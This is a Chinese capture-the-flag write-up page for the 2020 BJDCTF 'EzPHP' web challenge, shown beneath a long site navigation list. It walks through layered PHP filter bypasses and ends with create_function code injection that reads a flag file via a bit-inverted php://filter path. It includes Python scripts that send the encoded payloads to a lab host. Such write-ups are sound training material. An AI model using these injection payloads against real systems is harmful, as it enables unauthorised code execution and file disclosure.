CTF-WriteUp
  • 😅Introduction
  • 🥵Friend
  • 2015
    • 2015 RCTF
      • EasySQL
  • 2016
    • 2016 0CTF
      • piapiapia
  • 2018
    • 2018 网鼎杯
      • Fakebook
      • Comment
    • 2018 BUUCTF
      • Online
    • 2018 WesternCTF
      • shrine
    • 2018 SWPUCTF
      • SimplePHP
    • 2018 HCTF
      • Hideandseek
      • WarmUp
    • 2018 SUCTF
      • GetShell
  • 2019
    • 2019 AuroraCTF
      • Check In
      • Welcome to Aurora
      • ez LFI
      • ssti
    • 2019 Hackergame
      • 签到题
      • 信息安全 2077
      • 达拉崩吧大冒险
      • 网页读取器
    • 2019 RoarCTF
      • Easy Calc
    • 2019 极客大挑战
      • Secret File
      • LoveSQL
      • Knife
      • PHP
      • Http
      • Upload
      • BuyFlag
      • BabySQL
      • FinalSQL
      • RCE ME
      • EasySQL
      • HardSQL
    • 2019 SUCTF
      • check in
      • EasyWeb
      • EasySQL
    • 2019 ZJCTF
      • NiZhuanSiWei
    • 2019 CISCN
      • [华北赛区]Hack World
      • [华北赛区]ikun
      • [华东南赛区]Web11
      • [华北赛区]Dropbox
      • [总决赛]Easyweb
      • [初赛]Love Math
      • [华北赛区]CyberPunk
      • [华东南赛区]Double Secret
    • 2019 强网杯
      • 高明的黑客
      • 随便注
    • 2019 GXYCTF
      • 禁止套娃
      • BabyUpload
      • Ping Ping Ping
      • BabySQli
    • 2019 安洵杯
      • easy_web
      • easy_serialize_php
    • 2019 De1CTF
      • SSRF Me
    • 2019 ASIS
      • Unicorn shop
    • 2019 GWCTF
      • 我有一个数据库
      • 枯燥的抽奖
    • 2019 PwnThyBytes
      • Baby_SQL
    • 2019 BSidesCF
      • Kookie
      • Sequel
    • 2019 FBCTF
      • RCEService
    • 2019 CSCCTF
      • FlaskLight
    • 2019 HarekazeCTF
      • encode_and_encode
    • 2019 SWPU
      • Web1
    • 2019 RootersCTF
      • I_<3_Flask
    • 2019 NCTF
      • SQLi
  • 2020
    • 2020 CTFShow 36D杯
      • 签到
      • rsaEZ
      • justShow
    • 2020 GKCTF
      • Check_In
      • cve版签到
      • 老八小超市儿
    • 2020 CISCN
      • easyphp
      • easytrick
      • rceme
      • babyunserialize
      • littlegame
    • 2020 羊城杯
      • easycon
      • BlackCat
      • easyphp
    • 2020 ACTF
      • Include
      • BackupFile
      • Exec
    • 2020 CTFShow 月饼杯
      • 此夜圆
      • 故人心
      • 莫负婵娟
    • 2020 西湖论剑
      • easyjson
      • newupload
    • 2020 CTFShow 1024杯
      • fastapi
    • 2020 太湖杯
      • checkInGame
      • easyWeb
      • ezMd5
      • CrossFire
    • 2020 ByteCTF
      • Check-In
    • 2020 BJDCTF
      • Easy MD5
      • The mystery of ip
      • ZJCTF,不过如此
      • 假猪套天下第一
      • 简单注入
      • EasySearch
      • EzPHP
    • 2020 网鼎杯
      • [朱雀组]Think Java
      • [青龙组]filejava
      • [青龙组]AreUSerialz
      • [朱雀组]phpweb
      • [白虎组]PicDown
      • [朱雀组]Nmap
    • 2020 MRCTF
      • 你传你🐎呢
      • Ez_bypass
      • PYWebsite
      • Ezpop
      • 套娃
    • 2020 GYCTF
      • Blacklist
      • FlaskApp
      • Ezsqli
    • 2020 BJDCTF
      • old-hack
    • 2020 WUSTCTF
      • 朴实无华
      • 颜值成绩查询
      • CV Maker
    • 2020 NPUCTF
      • ReadlezPHP
      • ezinclude
    • 2020 Zer0pts
      • Can you guess it?
    • 2020 HFCTF
      • EasyLogin
  • 2021
    • 2021 CTFShow DJBCTF
      • veryphp
      • 虎山行
      • spaceman
    • 2021 CISCN
      • easy_sql
      • easy_source
      • middle_source
      • Upload
      • filter
    • 2021 强网杯
      • pop_master
      • Hard_Penetration
      • 寻宝
    • 2021 羊城杯
      • checkin_go
      • Only 4
      • EasyCurl
    • 2021 红明谷
      • JavaWeb
      • write_shell
  • 2022
    • 2022 RealWorld CTF 4th
      • Hack into Skynet
      • RWDN
    • 2022 强网杯
      • babyweb
      • crash
      • easyweb
      • rcefile
      • uploadpro
      • WP-UM
    • 2022 NewStarCTF
      • WEEK1-WEEK2
      • [WEEK3]Maybe You Have To think More
      • [WEEK3]IncludeTwo
      • [WEEK3]BabySSTI_One
      • [WEEK3]multiSQL
      • [WEEK4]BabySSTI_Two
      • [WEEK4]So Baby RCE
      • [WEEK4]UnserializeThree
      • [WEEK4]ROME
      • [WEEK5]Give me your photo PLZ
      • [WEEK5]So Baby RCE Again
      • [WEEK5]BabySSTI_Three
      • [WEEK5]Unsafe Apache
  • 2023
    • HGAME
      • WEEK1
        • Classic Childhood Game
  • 靶场
    • 攻防世界
      • view_source
      • robots
      • backup
      • Cookie
      • disabled_button
      • weak_auth
      • simple_php
      • get_post
      • xff_referer
      • webshell
      • command_execution
      • simple_js
      • Training-WWW-Robots
      • baby_web
      • php_rce
      • PHP2
      • NaNNaNNaNNaN-Batman
    • CTFHub
      • Cookie
      • 请求方式
      • 302跳转
      • 基础认证
      • 响应包源代码
      • 默认口令
    • CTFShow
      • 信息收集
      • 爆破
      • 命令执行
      • thinkphp专题
    • N1BOOK
      • WEB入门
      • WEB进阶1
      • Web进阶2
    • Upload-Labs
    • SQL-Labs
Powered by GitBook
On this page
  1. 2020
  2. 2020 BJDCTF

EzPHP

套娃题

<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
    if (
    preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
    )
        die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
} ?>

第一个坑

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
} 

查了一下知道$_SERVER['QUERY_STRING']不会进行URLdecode,直接用URL编码绕过即可。

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

这里看到正则匹配是以$为结尾,通过%0a等特殊字符进行绕过。

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

这里比较巧妙,在GET和POST同时出现时,POST的优先级更高,可以用POST覆盖GET。

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

file_get_contents函数,用data伪协议绕过data://text/plain,debu_debu_aqua

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1()函数无法处理数组,$shana和$passwd都是数组时都是false。$shana[]=1&$passwd[]=2

file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2

url编码有:

file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=1

同时POST

POST:file=1&debu=1
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

留下动态执行部分,其中code和arg可控,

构造

flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

编码

file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//
import requests

url = "http://e6e4a3a7-f42f-41fc-be4b-d32fdfdd0be4.node4.buuoj.cn/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());//"

payload={'file': '1',
'debu': '2'}
files=[

]
headers = {}

response = requests.request("POST", url, headers=headers, data=payload, files=files)

print(response.text)

知道了flag在rea1fl4g.php用require读取flag,用~绕过正则

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

替换刚才的var_dump(get_defined_vars())

import requests

url = "http://e6e4a3a7-f42f-41fc-be4b-d32fdfdd0be4.node4.buuoj.cn/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//"

payload={'file': '1',
'debu': '2'}
files=[

]
headers = {}

response = requests.request("POST", url, headers=headers, data=payload, files=files)

print(response.text)
PreviousEasySearchNext2020 网鼎杯

Last updated 2 years ago